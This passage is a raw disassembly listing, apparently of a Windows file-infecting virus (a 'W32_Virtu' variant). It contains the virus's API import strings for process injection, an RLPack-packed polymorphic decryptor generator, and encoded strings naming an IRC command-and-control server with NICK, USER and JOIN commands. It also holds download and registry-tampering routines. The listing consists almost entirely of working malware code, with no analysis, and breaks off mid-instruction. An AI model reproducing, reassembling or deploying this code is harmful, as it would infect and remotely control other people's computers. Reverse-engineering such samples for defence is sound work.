... push ecx push esi push ebx call dword ptr [ebp+403548h] stosd pop ecx loc_4FE9AD: ; CODE XREF: sub_4FE9A2+Ej lodsb test al, al jnz short loc_4FE9AD loop sub_4FE9A2 retn sub_4FE9A2 endp ; --------------------------------------------------------------------------- aBasenamedobjec db '\BaseNamedObjects\W32_Virtu',0 aLstrlen db 'lstrlen',0 aCreatefilea_0 db 'CreateFileA',0 aCreatefilema_0 db 'CreateFileMappingA',0 aCreateprocessa db 'CreateProcessA',0 aCreateremoteth db 'CreateRemoteThread',0 aCreatethread_0 db 'CreateThread',0 aCreatetoolhe_0 db 'CreateToolhelp32Snapshot',0 aExitthread db 'ExitThread',0 aFiletimetosy_0 db 'FileTimeToSystemTime',0 aGetfileattri_0 db 'GetFileAttributesA',0 aGetfilesize db 'GetFileSize',0 aGetfiletime_0 db 'GetFileTime',0 aGetmodulehandl db 'GetModuleHandleA',0 aGettempfilenam db 'GetTempFileNameA',0 aGettemppatha db 'GetTempPathA',0 aGetversion db 'GetVersion',0 aGetversionexa db 'GetVersionExA',0 aLoadlibrarya db 'LoadLibraryA',0 aMapviewoffile db 'MapViewOfFile',0 aOpenfilemappin db 'OpenFileMappingA',0 aOpenprocess db 'OpenProcess',0 aProcess32fir_0 db 'Process32First',0 aProcess32nex_0 db 'Process32Next',0 aSetfileattribu db 'SetFileAttributesA',0 aSetfiletime db 'SetFileTime',0 aSleep db 'Sleep',0 aSystemtimetofi db 'SystemTimeToFileTime',0 aUnmapviewoffil db 'UnmapViewOfFile',0 aVirtualalloc db 'VirtualAlloc',0 aWritefile_0 db 'WriteFile',0 aNtadjustprivil db 'NtAdjustPrivilegesToken',0 aNtcreatefile db 'NtCreateFile',0 aNtcreateproces db 'NtCreateProcess',0 aNtcreateproc_0 db 'NtCreateProcessEx',0 aNtcreatesectio db 'NtCreateSection',0 aNtmapviewofsec db 'NtMapViewOfSection',0 aNtopenfile db 'NtOpenFile',0 aNtopenprocesst db 'NtOpenProcessToken',0 aNtprotectvirtu db 'NtProtectVirtualMemory',0 aNtwritevirtual db 'NtWriteVirtualMemory',0 aRtlunicodestri db 'RtlUnicodeStringToAnsiString',0 aWsastartup_0 db 'WSAStartup',0 aClosesocket_0 db 'closesocket',0 aConnect_0 db 'connect',0 aGethostbynam_0 db 'gethostbyname',0 aRecv_0 db 'recv',0 aSend_1 db 'send',0 aSocket_0 db 'socket',0 aInternetclos_0 db 'InternetCloseHandle',0 aInternetgetc_1 db 'InternetGetConnectedState',0 aInternetopen_0 db 'InternetOpenA',0 aInternetopen_1 db 'InternetOpenUrlA',0 aInternetread_0 db 'InternetReadFile',0 aAdvapi32_dll_0 db 'ADVAPI32.DLL',0 aRegclosekey_0 db 'RegCloseKey',0 aRegopenkeyex_0 db 'RegOpenKeyExA',0 aRegqueryvalu_0 db 'RegQueryValueExA',0 aRegsetvaluee_0 db 'RegSetValueExA',0 ; =============== S U B R O U T I N E ======================================= sub_4FED3D proc near ; CODE XREF: .RLPack:004FEDE4p ; .RLPack:004FEDF5p ... var_5 = byte ptr -5 sub ecx, 5 sub ecx, eax push ecx push 0E8000000h lea ecx, [esp+8+var_5] push 0 push 5 push ecx push eax push ebx push 5 mov ecx, esp push eax mov edx, esp push eax push esp push 40h push ecx push edx push ebx call dword ptr [ebp+4035F0h] add esp, 0Ch call dword ptr [ebp+4035F4h] add esp, 8 retn sub_4FED3D endp ; --------------------------------------------------------------------------- push edi lea eax, [ebp+4015B1h] xor edi, edi push eax push 0 push 0Eh call dword ptr ss:loc_4035A4[ebp] test eax, eax jz loc_4FEE20 push eax push 69CEh mov edx, esp push 0 mov ecx, esp push 40h push 100000h push 2 push edx push 0 push 69CEh push 0 push ecx push ebx push eax call dword ptr ss:loc_4035E4[ebp] pop edi pop ecx call dword ptr ss:loc_40353C[ebp] test edi, edi jz short loc_4FEE20 mov ecx, [ebp+401588h] jecxz short loc_4FEDD8 lea edx, sub_401000[ebp] add edx, ecx push edi push ebx call edx loc_4FEDD8: ; CODE XREF: .RLPack:004FEDCAj mov eax, dword ptr ss:loc_4035D4[ebp] lea ecx, [edi+2394h] call sub_4FED3D mov eax, [ebp+4035E8h] lea ecx, [edi+23E1h] call sub_4FED3D mov eax, [ebp+4035D8h] lea ecx, [edi+23E8h] call sub_4FED3D mov eax, dword ptr ss:loc_4035DC[ebp] test eax, eax jz short loc_4FEE20 lea ecx, [edi+23F5h] call sub_4FED3D loc_4FEE20: ; CODE XREF: .RLPack:004FED8Aj ; .RLPack:004FEDC2j ... mov eax, edi pop edi retn ; --------------------------------------------------------------------------- push ebp call $+5 pop ebp sub ebp, 401A14h xor ecx, ecx lea eax, loc_401DAE[ebp] push ecx push esp push ecx push ecx push eax push ecx push ecx call dword ptr [ebp+40356Ch] xchg eax, [esp] call dword ptr ss:loc_40353C[ebp] pop ebp retn 4 ; --------------------------------------------------------------------------- db 55h dd 0E8h, 0ED815D00h, 401A43h, 958DFF6Ah, 401A0Eh, 20CD5250h dd 2A0024h, 660CC483h, 1A5485C7h, 20CD0040h, 1A5685C7h dd 240040h, 0C35D002Ah, 16A016Ah, 73FF33FFh, 8515FF04h dd 68F074C0h, 0Bh, 35BD08Bh, 0B58D3C50h, 401A72h, 10CBA8Bh dd 8A8B0000h, 108h, 0CB2BF803h, 0F3CB8B60h, 57461A6h, 0EBF5E247h dd 0FC783C2h, 53D48B57h, 5450CC8Bh, 5251406Ah, 95FFFF6Ah dd 4035F0h, 8B0CC483h, 40357495h, 83D72B00h, 7C707EAh dd 0E8006Ah, 0C3035789h, 0E8581A6Ah, 9, 0AA61428Dh, 0F075C9FEh ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_4FEF05 proc near ; CODE XREF: sub_4FF770+1Bp ; sub_4FF8E8+3p ... imul edx, [ebp+403646h], 8088405h inc edx mov [ebp+403646h], edx mul edx retn sub_4FEF05 endp ; --------------------------------------------------------------------------- db 55h, 0E8h, 0 dd 5D000000h, 1B09ED81h, 9D8B0040h, 40364Ah, 8247C83h dd 0B9840F00h, 81000000h, 208ECh, 4685400h, 0FF000001h dd 40359095h, 8DFC8B00h, 1042484h, 6A500000h, 4E800h, 52560000h dd 0FF570054h, 40358C95h, 8DC93300h, 10497h, 6A515100h dd 16A5102h, 68h, 95FF5240h, 40355Ch, 74F68596h, 6854505Bh dd 104h, 24B4FF57h, 220h, 362895FFh, 85590040h, 0E31674C0h dd 0D48B5014h, 5152006Ah, 95FF5657h, 4035CCh, 75C08559h dd 95FF56D0h, 40353Ch, 5244578Dh, 58446A57h, 104978Dh dd 33AB0000h, 59106AC0h, 5050ABF3h, 50505050h, 95FF5250h dd 403564h, 208C481h, 74FF0000h, 95FF0824h, 403618h, 1895FF53h dd 5D004036h, 800004C2h, 1750A3Eh, 848D8B46h, 0E3004015h dd 958D19h, 3004010h, 0D2FF56D1h, 880FC084h, 11Fh, 110840Fh dd 3E800000h, 4610753Ah, 0F003E80h, 10184h, 203E8000h dd 8146F175h, 4E49503Eh, 8B427547h, 146C6CFh, 51CE2B4Fh dd 5651006Ah, 1095FF53h, 59004036h, 850FC13Bh, 0DFh, 1DA2858Dh dd 6A0040h, 0C68h, 0FF535000h, 40361095h, 0C3D00h, 850F0000h dd 0BFh, 0B1E9h, 503E8100h, 0F564952h, 0A585h, 8C68300h dd 0F0D3CACh, 9984h, 75203C00h, 3A3CACF3h, 8C850Fh, 0DAD0000h dd 20202020h, 6567213Dh, 0AC7F7574h, 7C75203Ch, 20FF7E81h dd 75747468h, 37E8171h, 2F2F3A70h, 47C66875h, 310F00FFh dd 2710BAh, 52E2F700h, 35BC95FFh, 0C0330040h, 50505050h dd 9E8h, 776F4400h, 616F6C6Eh, 95FF0064h, 403620h, 3674C085h dd 8589C933h, 40364Ah, 2006851h, 51518000h, 95FF5056h dd 403624h, 1B03958Dh, 33500040h, 505154C9h, 0FF515152h dd 40356C95h, 24048700h, 353C95FFh, 0C3F80040h, 15778D80h dd 0F9010040h, 464F53C3h, 52415754h, 694D5C45h, 736F7263h dd 5C74666Fh, 646E6957h, 5C73776Fh, 72727543h, 56746E65h dd 69737265h, 455C6E6Fh, 6F6C7078h, 726572h, 67726154h dd 6F487465h, 2007473h, 0F0FF00h, 70000000h, 69786F72h dd 72692E6Dh, 6C616763h, 2E797861h, 4E006C70h, 204B4349h dd 6A657267h, 736D7962h, 4553550Ah, 30652052h, 30353032h dd 202E2031h, 2D3A202Eh, 4E494F4Ah, 69762620h, 0A757472h dd 0E855h, 815D0000h, 401DB4EDh, 7785C600h, 4015h, 359495FFh dd 0E8C10040h, 6A3C741Fh, 50B58B1Eh, 59004035h, 752E3CACh dd 3E81662Ah, 23751DFFh, 3640BD8Dh, 768B0040h, 66A55702h dd 6A858DA5h, 8F004033h, 40339085h, 4689FA00h, 0FE4E8CFAh dd 0E201B1FBh, 8D43EBCFh, 4015B185h, 6A5000h, 95FF0E6Ah dd 4035A4h, 8247C83h, 0E82B7504h, 4, 434653h, 358895FFh dd 48E80040h, 0E8FFFFFCh, 7, 5F434653h, 0FF00534Fh, 40358895h dd 0FC31E800h, 56E8FFFFh, 0FFFFFFF3h, 4013038Dh, 0BE800h dd 53550000h, 32335245h, 4C4C442Eh, 9C95FF00h, 0E8004035h dd 0Ah, 72707377h, 66746E69h, 0FF500041h, 40354895h, 54858900h dd 0F004035h, 0E08D8D31h, 89004018h, 40364685h, 95FF5100h dd 40359Ch, 46893h, 0B58D0000h, 4018EDh, 2CBD8D59h, 0E8004036h dd 0FFFFF6D6h, 6785C766h, 0FF00401Dh, 69A583F0h, 401Dh dd 1D27958Dh, 54500040h, 6A016Ah, 26852h, 95FF8000h, 403630h dd 755AC085h, 5A8D8D22h, 5200401Dh, 0B58D066Ah, 401D67h dd 50505654h, 95FF5251h, 403634h, 2C95FF58h, 0C6004036h dd 40384D85h, 0CE80000h, 57000000h, 4B434F53h, 442E3233h dd 0FF004C4Ch, 40359C95h, 7689300h, 8D000000h, 401844B5h dd 0BD8D5900h, 4035FCh, 0FFF651E8h, 0CE8FFh, 49570000h dd 454E494Eh, 4C442E54h, 95FF004Ch, 40359Ch, 840FC085h dd 1E7h, 56893h, 0B58D0000h, 401882h, 18BD8D59h, 0E8004036h dd 0FFFFF61Ah, 361CBD83h, 0F000040h, 1C284h, 90EC8100h dd 54000001h, 10168h, 0FC95FF00h, 81004035h, 190C4h, 0D48B5000h dd 0FF52006Ah, 40361C95h, 59C08500h, 88680D75h, 0FF000013h dd 4035BC95h, 83E2EB00h, 401D69BDh, 29750000h, 1D6D858Dh dd 0FF500040h, 40360895h, 0FC08500h, 13B84h, 0C408B00h dd 30FF008Bh, 1D69858Fh, 85C60040h, 40384Dh, 6A006A01h dd 0FF026A01h, 40361495h, 0FFF88300h, 112840Fh, 8D930000h dd 401D6595h, 52106A00h, 495FF53h, 85004036h, 0F2850FC0h dd 8D000000h, 401D86BDh, 0E808B100h, 0FFFFFABCh, 9468h dd 0E62B5E00h, 54243489h, 359895FFh, 0BD8D0040h, 401D94h dd 9DE801B1h, 8BFFFFFAh, 0C1102444h, 440B08E0h, 0E0C10424h dd 24440B08h, 5E85008h, 25000000h, 78362Eh, 5495FF57h dd 83004035h, 47C60CC4h, 958D2006h, 401D81h, 2168006Ah dd 52000000h, 1095FF53h, 8D004036h, 5714247Ch, 355895FFh dd 4C60040h, 6A400A38h, 53575000h, 361095FFh, 0E6030040h dd 1DA2BD8Dh, 6A0040h, 0C68h, 0FF535700h, 40361095h, 0C3D00h dd 4D750000h, 364EB58Dh, 8D8D0040h, 40384Dh, 6ACE2Bh, 0FF535651h dd 40360C95h, 0F88300h, 8B912F7Eh, 4EB58DFEh, 0B0004036h dd 75AEF20Dh, 0F8E86010h, 61FFFFFAh, 9E31772h, 0EB01778Dh dd 2BCF8BEAh, 4EBD8DCEh, 0F3004036h, 0EBF787A4h, 95FF53B9h dd 403600h, 1577BD80h, 74010040h, 7530682Ah, 95FF0000h dd 4035BCh, 384DBD80h, 74000040h, 6985C711h, 401Dh, 0C6000000h dd 40384D85h, 56E90000h, 0C7FFFFFEh, 40158085h, 0 dd 4C25D80h, 4F0A0D00h, 6F6F6E20h, 666F206Eh, 66696C20h dd 4F202165h, 6D697420h, 6F742065h, 6C656320h, 61726265h dd 0D216574h, 2020200Ah, 204F2020h, 6D6D7573h, 67207265h dd 65647261h, 0A0D216Eh, 656C6552h, 656C746Eh, 796C7373h dd 70616820h, 61207970h, 6520646Eh, 63657078h, 746E6174h dd 7473202Ch, 69646E61h, 203A676Eh, 570A0D2Dh, 68637461h dd 20676E69h, 206C6C61h, 20796164h, 20646E61h, 6867696Eh dd 66202C74h, 6620726Fh, 6E656972h, 49207364h, 69617720h dd 0A0D3A74h, 72656857h, 72612065h, 6F792065h, 66202C75h dd 6E656972h, 203F7364h, 656D6F43h, 74492021h, 20736920h dd 656D6974h, 74492021h, 6C207327h, 21657461h, 84040A0Dh dd 142930C7h, 79ED10A6h, 0FAE54FD4h, 524827B1h, 0F96A4037h dd 0AD47606Eh, 59576299h, 14133AABh, 0CC5C10A6h, 0C17EC26Ch dd 0B3521A73h, 0D8B8h, 13h dup(0) db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_4FF6BA proc near ; CODE XREF: sub_4FF701:loc_4FF75Ep ; sub_4FF7C1+7p ... arg_0 = dword ptr 4 pusha and dword ptr ss:loc_4039A6[ebp], 0 and dword ptr [ebp+4039AAh], 0 movzx eax, word ptr [ebx+14h] lea edx, [ebx+18h] movzx ecx, word ptr [ebx+6] add edx, eax loc_4FF6D6: ; CODE XREF: sub_4FF6BA+41j mov eax, [esp+20h+arg_0] sub eax, [edx+0Ch] jb short loc_4FF6F8 cmp eax, [edx+8] jnb short loc_4FF6F8 mov eax, [edx+14h] sub eax, [edx+0Ch] mov dword ptr ss:loc_4039A6[ebp], edx mov [ebp+4039AAh], eax jmp short loc_4FF6FD ; --------------------------------------------------------------------------- loc_4FF6F8: ; CODE XREF: sub_4FF6BA+23j ; sub_4FF6BA+28j add edx, 28h loop loc_4FF6D6 loc_4FF6FD: ; CODE XREF: sub_4FF6BA+3Cj popa retn 4 sub_4FF6BA endp ; =============== S U B R O U T I N E ======================================= sub_4FF701 proc near ; CODE XREF: .RLPack:004FFA2Dp ; .RLPack:004FFA53p mov byte ptr ss:loc_4022F7[ebp], al call sub_4FF770 push 20h lea eax, [ebp+402224h] pop ecx loc_4FF718: ; CODE XREF: sub_4FF701+1Ej cmp [eax], ebx jz short loc_4FF728 add eax, 4 loop loc_4FF718 inc dword ptr ss:loc_40398E[ebp] retn ; --------------------------------------------------------------------------- loc_4FF728: ; CODE XREF: sub_4FF701+19j neg ecx add ecx, dword ptr ss:loc_4022F7[ebp] jecxz short loc_4FF742 loc_4FF732: ; CODE XREF: sub_4FF701+39j push dword ptr [eax-4] pop dword ptr [eax] sub eax, 4 loop loc_4FF732 mov [ebp+402224h], ebx loc_4FF742: ; CODE XREF: sub_4FF701+2Fj ; sub_4FF770+34j cmp dword ptr [edx], 0 jz short loc_4FF74C sub esi, [edx] add esi, [edx+10h] loc_4FF74C: ; CODE XREF: sub_4FF701+44j lea ecx, [esi-4] pop eax pop ebx pop esi cmp dword ptr [edx], 0 jz short loc_4FF75B push dword ptr [edx] jmp short loc_4FF75E ; --------------------------------------------------------------------------- loc_4FF75B: ; CODE XREF: sub_4FF701+54j push dword ptr [edx+10h] loc_4FF75E: ; CODE XREF: sub_4FF701+58j call sub_4FF6BA sub ecx, esi sub ecx, [ebp+4039AAh] pop eax add ecx, [ebx+34h] retn sub_4FF701 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4FF770 proc near ; CODE XREF: sub_4FF701+6p pop dword ptr [ebp+403992h] mov dword ptr ss:loc_40398E[ebp], 0 call sub_4FF7C1 mov eax, dword ptr ss:loc_40398E[ebp] call sub_4FEF05 call sub_4FF7AD cmp dword ptr ss:loc_40398E[ebp], 0 jnz short loc_4FF7A6 mov dword ptr ss:loc_4022A0[ebp], ebx jmp short loc_4FF742 ; --------------------------------------------------------------------------- loc_4FF7A6: ; CODE XREF: sub_4FF770+2Cj dec dword ptr ss:loc_40398E[ebp] retn sub_4FF770 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4FF7AD proc near ; CODE XREF: sub_4FF770+20p pop dword ptr [ebp+403992h] mov dword ptr ss:loc_40398E[ebp], edx call sub_4FF7C1 xor ecx, ecx retn sub_4FF7AD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4FF7C1 proc near ; CODE XREF: sub_4FF770+10p ; sub_4FF7AD+Cp ... var_C = dword ptr -0Ch var_4 = dword ptr -4 mov edx, [ebx+80h] push edx call sub_4FF6BA add edx, [ebp+4039AAh] add edx, esi loc_4FF7D5: ; CODE XREF: sub_4FF7C1+120j cmp dword ptr [edx+0Ch], 0 jz locret_4FF8E6 cmp dword ptr [edx+10h], 0 jz locret_4FF8E6 mov eax, [edx+0Ch] push eax call sub_4FF6BA add eax, [ebp+4039AAh] add eax, esi push eax loc_4FF7FB: ; CODE XREF: sub_4FF7C1+47j mov cl, [eax] cmp cl, 0 jz short loc_4FF81B cmp cl, 2Eh jz short loc_4FF80A loc_4FF807: ; CODE XREF: sub_4FF7C1+58j inc eax jmp short loc_4FF7FB ; --------------------------------------------------------------------------- loc_4FF80A: ; CODE XREF: sub_4FF7C1+44j mov ecx, [eax+1] and ecx, 0DFDFDFDFh cmp ecx, offset dword_4C4C44 jnz short loc_4FF807 loc_4FF81B: ; CODE XREF: sub_4FF7C1+3Fj pop ecx sub ecx, eax cmp ecx, 0FFFFFFFAh jg loc_4FF8DE cmp word ptr [eax-2], 3233h jnz loc_4FF8DE push esi cmp dword ptr [edx], 0 jnz short loc_4FF83E mov ecx, [edx+10h] jmp short loc_4FF840 ; --------------------------------------------------------------------------- loc_4FF83E: ; CODE XREF: sub_4FF7C1+76j mov ecx, [edx] loc_4FF840: ; CODE XREF: sub_4FF7C1+7Bj add esi, ecx push ecx call sub_4FF6BA add esi, [ebp+4039AAh] loc_4FF84E: ; CODE XREF: sub_4FF7C1+90j ; sub_4FF7C1+117j lodsd test eax, eax js short loc_4FF84E jz loc_4FF8DD push dword ptr [ebp+4039AAh] push eax call sub_4FF6BA add eax, [ebp+4039AAh] pop dword ptr [ebp+4039AAh] add eax, [esp+4+var_4] push ebx add eax, 2 xor ebx, ebx loc_4FF87A: ; CODE XREF: sub_4FF7C1+CEj movzx ecx, byte ptr [eax] jecxz short loc_4FF891 or cl, 20h push ebx shl [esp+0Ch+var_C], 4 sub [esp+0Ch+var_C], ebx sub [esp+0Ch+var_C], ecx pop ebx inc eax jmp short loc_4FF87A ; --------------------------------------------------------------------------- loc_4FF891: ; CODE XREF: sub_4FF7C1+BCj cmp ebx, 0DDBBD70Fh jz short loc_4FF8D7 cmp ebx, 0DB6E45A8h jz short loc_4FF8D7 cmp ebx, 0FFA13B59h jz short loc_4FF8D7 cmp ebx, 0ACB522D6h jz short loc_4FF8D7 cmp ebx, 0F358E993h jz short loc_4FF8D7 cmp ebx, 0F358E97Dh jz short loc_4FF8D7 cmp ebx, 0E1253F46h jz short loc_4FF8D7 cmp ebx, 0E1253F30h jz short loc_4FF8D7 call dword ptr [ebp+403992h] loc_4FF8D7: ; CODE XREF: sub_4FF7C1+D6j ; sub_4FF7C1+DEj ... pop ebx jmp loc_4FF84E ; --------------------------------------------------------------------------- loc_4FF8DD: ; CODE XREF: sub_4FF7C1+92j pop esi loc_4FF8DE: ; CODE XREF: sub_4FF7C1+60j ; sub_4FF7C1+6Cj add edx, 14h jmp loc_4FF7D5 ; --------------------------------------------------------------------------- locret_4FF8E6: ; CODE XREF: sub_4FF7C1+18j ; sub_4FF7C1+22j retn sub_4FF7C1 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4FF8E8 proc near ; CODE XREF: .RLPack:004FFA26p ; .RLPack:004FFA4Cp push 4 pop eax call sub_4FEF05 mov [ebp+4024D1h], dl mov ax, 1831h add ah, dl shl ah, 3 add ah, dl stosw push 6 pop eax call sub_4FEF05 add edx, 8 xchg edx, ecx loc_4FF910: ; CODE XREF: sub_4FF8E8:loc_4FF94Fj push 5 pop eax call sub_4FEF05 cmp dl, 3 jnb short loc_4FF928 mov al, 50h add al, [ebp+4024D1h] stosb jmp short loc_4FF94F ; --------------------------------------------------------------------------- loc_4FF928: ; CODE XREF: sub_4FF8E8+33j push 68h pop eax stosb cmp dl, 3 jnz short loc_4FF949 mov al, 11h call sub_4FEF05 mov eax, 1 loc_4FF93D: ; CODE XREF: sub_4FF8E8+5Dj test dl, dl jz short loc_4FF94E shl eax, 1 dec dl jmp short loc_4FF93D ; --------------------------------------------------------------------------- jmp short loc_4FF94E ; --------------------------------------------------------------------------- loc_4FF949: ; CODE XREF: sub_4FF8E8+47j mov eax, 80000000h loc_4FF94E: ; CODE XREF: sub_4FF8E8+57j ; sub_4FF8E8+5Fj stosd loc_4FF94F: ; CODE XREF: sub_4FF8E8+3Ej loop loc_4FF910 retn sub_4FF8E8 endp ; --------------------------------------------------------------------------- loc_4FF952: ; CODE XREF: sub_5003AC+112p lea edi, [ebp+40343Ch] test dword ptr [ebp+403431h], 80000000h jz short loc_4FF967 mov al, 60h stosb loc_4FF967: ; CODE XREF: .RLPack:004FF962j test dword ptr [ebp+403431h], 1000003h jz loc_4FFA6D ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp call near ptr 0BDD9A52Bh xchg eax, esi cmp [eax+0], eax mov al, 0E8h stosb stosd test dword ptr [ebp+403431h], 1000000h mov [ebp+40399Ah], edi jz short loc_4FF9E5 test dword ptr [ebp+403431h], 2000000h mov eax, 36FF6467h jnz short loc_4FF9B0 mov eax, 2E8B6467h loc_4FF9B0: ; CODE XREF: .RLPack:004FF9A9j stosd mov ax, 0 stosw jz short loc_4FF9BC mov al, 5Dh stosb loc_4FF9BC: ; CODE XREF: .RLPack:004FF9B7j test dword ptr [ebp+403431h], 8000000h mov eax, 86D8Dh jnz short loc_4FF9E3 test dword ptr [ebp+403431h], 4000000h mov eax, 8C583h jz short loc_4FF9E3 mov eax, 0F8ED83h loc_4FF9E3: ; CODE XREF: .RLPack:004FF9CBj ; .RLPack:004FF9DCj stosd dec edi loc_4FF9E5: ; CODE XREF: .RLPack:004FF998j test dword ptr [ebp+403431h], 3 jz short loc_4FF9F5 mov al, 0E9h stosb stosd loc_4FF9F5: ; CODE XREF: .RLPack:004FF9EFj mov eax, dword ptr ss:loc_403996[ebp] mov ecx, edi sub ecx, eax mov [eax-4], ecx test dword ptr [ebp+403431h], 3 jz short loc_4FFA6D mov eax, 36FF6467h mov dword ptr ss:loc_40399E[ebp], edi stosd mov eax, 64670000h stosd mov eax, 2689h stosd call sub_4FF8E8 mov al, 20h call sub_4FF701 jecxz short loc_4FFA6D mov ax, 15FFh stosw xchg eax, ecx stosd mov edx, [ebp+403431h] not edx test edx, 3 jnz short loc_4FFA60 call sub_4FF8E8 mov al, 1Fh call sub_4FF701 mov ax, 15FFh stosw xchg eax, ecx stosd loc_4FFA60: ; CODE XREF: .RLPack:004FFA4Aj mov ecx, edi mov eax, dword ptr ss:loc_40399E[ebp] sub ecx, eax mov [eax-4], ecx loc_4FFA6D: ; CODE XREF: .RLPack:004FF971j ; .RLPack:004FFA0Cj ... test dword ptr [ebp+403431h], 4 jz short loc_4FFA8B mov eax, 0C8FEC029h stosd mov eax, 474C008h stosd mov eax, 67EBF875h stosd loc_4FFA8B: ; CODE XREF: .RLPack:004FFA77j test dword ptr [ebp+403431h], 8 jnz short loc_4FFAE1 cmp byte ptr [ebp+40342Fh], 0 jz short loc_4FFAE1 mov eax, 0C9291829h or ah, byte ptr ss:loc_40342B[ebp] shl ah, 3 or ah, byte ptr ss:loc_40342B[ebp] stosd mov al, 0B1h stosb mov al, [ebp+40342Fh] stosb mov al, 40h or al, byte ptr ss:loc_40342B[ebp] stosb mov ax, 0FDE2h test dword ptr [ebp+403431h], 10h jz short loc_4FFADF mov al, 49h stosb mov ax, 0FC75h loc_4FFADF: ; CODE XREF: .RLPack:004FFAD6j stosw loc_4FFAE1: ; CODE XREF: .RLPack:004FFA95j ; .RLPack:004FFA9Ej mov al, 0E8h stosb xor eax, eax stosd mov [ebp+403982h], edi test dword ptr [ebp+403431h], 20h jnz short loc_4FFB02 mov al, 58h or al, [ebp+403429h] stosb loc_4FFB02: ; CODE XREF: .RLPack:004FFAF7j mov ax, 0C081h test dword ptr [ebp+403431h], 40h jz short loc_4FFB15 add ah, 28h loc_4FFB15: ; CODE XREF: .RLPack:004FFB10j or ah, [ebp+403429h] stosw mov dword ptr ss:loc_403986[ebp], edi stosd test dword ptr [ebp+403431h], 40000000h jnz short loc_4FFB39 mov al, 50h add al, [ebp+403429h] stosb loc_4FFB39: ; CODE XREF: .RLPack:004FFB2Ej test dword ptr [ebp+403431h], 80h jnz short loc_4FFB50 mov al, 0B8h or al, [ebp+40342Ah] stosb jmp short loc_4FFB8D ; --------------------------------------------------------------------------- loc_4FFB50: ; CODE XREF: .RLPack:004FFB43j mov ax, 1831h test dword ptr [ebp+403431h], 100h jz short loc_4FFB62 mov al, 29h loc_4FFB62: ; CODE XREF: .RLPack:004FFB5Ej or ah, [ebp+40342Ah] shl ah, 3 or ah, [ebp+40342Ah] stosw mov ax, 0F081h test dword ptr [ebp+403431h], 200h jnz short loc_4FFB85 mov ah, 0C8h loc_4FFB85: ; CODE XREF: .RLPack:004FFB81j or ah, [ebp+40342Ah] stosw loc_4FFB8D: ; CODE XREF: .RLPack:004FFB4Ej mov [ebp+4039A2h], edi mov eax, 243Ch stosd test dword ptr [ebp+403431h], 8 jz short loc_4FFC11 test dword ptr [ebp+403431h], 400h jnz short loc_4FFBBC mov al, 0B8h or al, byte ptr ss:loc_40342B[ebp] stosb jmp short loc_4FFC09 ; --------------------------------------------------------------------------- loc_4FFBBC: ; CODE XREF: .RLPack:004FFBAFj test dword ptr [ebp+403431h], 800h jnz short loc_4FFBD9 mov ax, 0E083h or ah, byte ptr ss:loc_40342B[ebp] stosw xor eax, eax stosb jmp short loc_4FFBEE ; --------------------------------------------------------------------------- loc_4FFBD9: ; CODE XREF: .RLPack:004FFBC6j mov ax, 1829h or ah, byte ptr ss:loc_40342B[ebp] shl ah, 3 or ah, byte ptr ss:loc_40342B[ebp] stosw loc_4FFBEE: ; CODE XREF: .RLPack:004FFBD7j test dword ptr [ebp+403431h], 1000h mov ax, 0C081h jz short loc_4FFC01 add ah, 8 loc_4FFC01: ; CODE XREF: .RLPack:004FFBFCj or ah, byte ptr ss:loc_40342B[ebp] stosw loc_4FFC09: ; CODE XREF: .RLPack:004FFBBAj movzx eax, byte ptr [ebp+40342Fh] stosd loc_4FFC11: ; CODE XREF: .RLPack:004FFBA3j test dword ptr [ebp+403431h], 40000000h jz short loc_4FFC26 mov al, 50h add al, [ebp+403429h] stosb loc_4FFC26: ; CODE XREF: .RLPack:004FFC1Bj test dword ptr [ebp+403431h], 2000h mov al, 86h jnz short loc_4FFC36 add al, 4 loc_4FFC36: ; CODE XREF: .RLPack:004FFC32j lea ecx, [edi-2] mov ah, [ebp+403429h] mov [ebp+40398Ah], ecx stosw cmp ah, 5 jnz short loc_4FFC53 mov al, 0 or byte ptr [edi-1], 40h stosb loc_4FFC53: ; CODE XREF: .RLPack:004FFC4Aj test dword ptr [ebp+403431h], 4000h mov ax, 3166h jnz short loc_4FFC65 mov ah, 29h loc_4FFC65: ; CODE XREF: .RLPack:004FFC61j stosw mov al, 18h or al, byte ptr ss:loc_40342B[ebp] shl al, 3 stosb mov al, 88h test dword ptr [ebp+403431h], 8000h jnz short loc_4FFC83 mov al, 86h loc_4FFC83: ; CODE XREF: .RLPack:004FFC7Fj mov ah, [ebp+403429h] stosw cmp ah, 5 jnz short loc_4FFC97 mov al, 0 or byte ptr [edi-1], 40h stosb loc_4FFC97: ; CODE XREF: .RLPack:004FFC8Ej test dword ptr [ebp+403431h], 10000h jnz short loc_4FFCAE mov al, 40h or al, [ebp+403429h] stosb jmp short loc_4FFCBD ; --------------------------------------------------------------------------- loc_4FFCAE: ; CODE XREF: .RLPack:004FFCA1j mov ax, 0C083h or ah, [ebp+403429h] stosw mov al, 1 stosb loc_4FFCBD: ; CODE XREF: .RLPack:004FFCACj test dword ptr [ebp+403431h], 20000h jnz short loc_4FFCF8 test dword ptr [ebp+403431h], 40000h jnz short loc_4FFCEF mov al, 0C0h or al, byte ptr ss:loc_40342B[ebp] mov ah, [ebp+403430h] shl eax, 10h mov ax, 8166h stosd mov al, 0 jmp short loc_4FFCF7 ; --------------------------------------------------------------------------- loc_4FFCEF: ; CODE XREF: .RLPack:004FFCD3j mov al, 40h or al, byte ptr ss:loc_40342B[ebp] loc_4FFCF7: ; CODE XREF: .RLPack:004FFCEDj stosb loc_4FFCF8: ; CODE XREF: .RLPack:004FFCC7j test dword ptr [ebp+403431h], 80000h jnz short loc_4FFD14 mov ax, 0E883h or ah, [ebp+40342Ah] stosw mov al, 1 jmp short loc_4FFD1C ; --------------------------------------------------------------------------- loc_4FFD14: ; CODE XREF: .RLPack:004FFD02j mov al, 48h or al, [ebp+40342Ah] loc_4FFD1C: ; CODE XREF: .RLPack:004FFD12j stosb test dword ptr [ebp+403431h], 100000h mov cl, 75h jnz short loc_4FFD50 mov ax, 0F883h or ah, [ebp+40342Ah] stosw xor eax, eax stosb sub [ebp+40398Ah], edi test dword ptr [ebp+403431h], 200000h jnz short loc_4FFD6B mov cl, 77h jmp short loc_4FFD6B ; --------------------------------------------------------------------------- loc_4FFD50: ; CODE XREF: 